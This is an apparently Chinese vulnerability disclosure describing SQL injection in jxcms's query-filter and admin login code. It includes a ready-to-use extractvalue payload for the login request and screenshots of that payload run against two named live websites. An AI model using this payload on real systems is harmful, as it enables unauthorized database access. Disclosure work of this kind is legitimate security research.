### 简要描述: 底层模型解析出错,导致大面积注入。 这是真的注入,真的能注出数据的。 无视新版添加的webscan.class.php ### 详细说明: 找注入,上来就看sql语句是怎么处理的。 jxcms的model调用数据库操作无论是 ->where ->find 都会调用/jxcms/lib/core/db.class.php文件中的checkOneWhere函数进行组装与过滤。 ``` private function checkOneWhere($str) { $tmp = preg_replace('/(["|\']).*?\\1/s', '', $str); $tmp = strtoupper($tmp); if (strstr($tmp, ' BETWEEN ')) $tmp = preg_replace('/ AND /', '', $tmp, 1); // 不是单个条件直接返回 if (strstr($tmp, ' AND ') || strstr($tmp, ' OR ') || strstr($tmp, ' XOR ')) return $str; //主要是这里,发现AND OR XOR就会直接返回,而不会进过后面的parseValue()函数 // 规范化IN $tmp = strtok($str, '"\''); if (stristr($tmp, ' IN(')) { $tmp = preg_replace('/ IN\(/i', ' IN (', $tmp, 1); $str = preg_replace('/ IN\(/i', ' IN (', $str, 1); } foreach(array('!=', '>=', '<=', '=', '>', '<', ' NOT IN ', ' IN ', ' NOT LIKE ', ' LIKE ', ' BETWEEN ') as $comp) { if (stristr($tmp, $comp)) { $t = explode($comp, $str, 2); $field = $this -> addSpecialChar($t[0]); $value = trim($t[1]); if (is_string($value)) { $first =...
### 简要描述: 底层模型解析出错,导致大面积注入。 这是真的注入,真的能注出数据的。 无视新版添加的webscan.class.php ### 详细说明: 找注入,上来就看sql语句是怎么处理的。 jxcms的model调用数据库操作无论是 ->where ->find 都会调用/jxcms/lib/core/db.class.php文件中的checkOneWhere函数进行组装与过滤。 ``` private function checkOneWhere($str) { $tmp = preg_replace('/(["|\']).*?\\1/s', '', $str); $tmp = strtoupper($tmp); if (strstr($tmp, ' BETWEEN ')) $tmp = preg_replace('/ AND /', '', $tmp, 1); // 不是单个条件直接返回 if (strstr($tmp, ' AND ') || strstr($tmp, ' OR ') || strstr($tmp, ' XOR ')) return $str; //主要是这里,发现AND OR XOR就会直接返回,而不会进过后面的parseValue()函数 // 规范化IN $tmp = strtok($str, '"\''); if (stristr($tmp, ' IN(')) { $tmp = preg_replace('/ IN\(/i', ' IN (', $tmp, 1); $str = preg_replace('/ IN\(/i', ' IN (', $str, 1); } foreach(array('!=', '>=', '<=', '=', '>', '<', ' NOT IN ', ' IN ', ' NOT LIKE ', ' LIKE ', ' BETWEEN ') as $comp) { if (stristr($tmp, $comp)) { $t = explode($comp, $str, 2); $field = $this -> addSpecialChar($t[0]); $value = trim($t[1]); if (is_string($value)) { $first = substr($value, 0, 1); if ($first == '"' || $first == '\'') { $value = substr($value, 1, -1); if (!stristr($comp, ' IN ')) $value = $this -> parseValue($value); } else { if (!(stristr($comp, ' IN ') || (strpos($field, '.', 1) && strpos($value, '.', 1)))) { $value = $this -> parseValue($value); } } } return "$field $comp $value"; } } return $str; } ``` 这样随便找一个可控的find()就行了。 另一个问题: webscan.class.php 貌似是最新版新加的,不去绕过了,直接找无视的方式。 可以找到jxcms/common.php中存在: ``` import('Lib/Core/App', 'jxcms'); import('Lib/Core/Base', 'jxcms'); if (C('WEBSCAN', 1) && !defined('IN_ADMIN')) Webscan :: run(); 只要是后台操作就不开启 ``` 那就去admin.php文件调用,此处当然不会是后台注入。 就是后台登录位置即可。 ``` public function login() { if ($this -> isSubmit) { if (C('captcha_admin_login', 0, 'member')) { $captcha = new Captcha(); $captcha -> check(trim($_POST['captcha'])) or $this -> showMsg(L('CAPTCHA_ERROR')); } $memberObj = M('member'); $username = trim($_POST['username']);//未过滤 $password = md5(trim($_POST['password'])); $field = array('userid', 'username', 'password', 'email', 'lastdate', 'groupid'); $where = array('username' => $username, 'groupid' => 1); $r = $memberObj -> field($field) -> where($where) -> find(); //where直接带入 if ($r) { if ($r['password'] == $password) { // 后台登陆信息 $loginInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'role' => $memberObj -> getRole($r['userid']), 'hash' => Func :: getHash($username . $password)); // 前台登陆信息 $userInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'password' => $password); M('member') -> setLogin($userInfo); $_SESSION[C('DB_PREFIX', 1) . 'loginInfo'] = serialize($loginInfo); $this -> showMsg(L('LOGIN_SUCCESS'), '?a=defaults'); } else $this -> showMsg(L('PASSWORD_ERROR'), '?a=login'); } else $this -> showMsg(L('USERNAME_IS_NOT_EXIST'), '?a=login'); } $this -> display('login'); } ``` ### 漏洞证明: 后台登录提交数据包: submit=1&username='testtest' AND extractvalue(1, concat(0x5c,(select user())));-- 1&password=testtest&captcha=ckxn&subimg.x=32&subimg.y=24 这里是不过滤的,所以里面的语句是任意的。这里只是举例,注意验证码。 本地最新版: [<img src="https://images.seebug.org/upload/201503/311700007d91d78ad0a426b1d65f155627cbaffc.png" alt="1111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/311700007d91d78ad0a426b1d65f155627cbaffc.png) http://test.tzks.cn/ [<img src="https://images.seebug.org/upload/201503/31170141c7647fe15988f96f2bea25a5e71633aa.png" alt="2222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/31170141c7647fe15988f96f2bea25a5e71633aa.png) www.gsdedu.com [<img src="https://images.seebug.org/upload/201503/31170324d1af271c29fd6ceafdb8927ad42bcbea.png" alt="4444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/31170324d1af271c29fd6ceafdb8927ad42bcbea.png)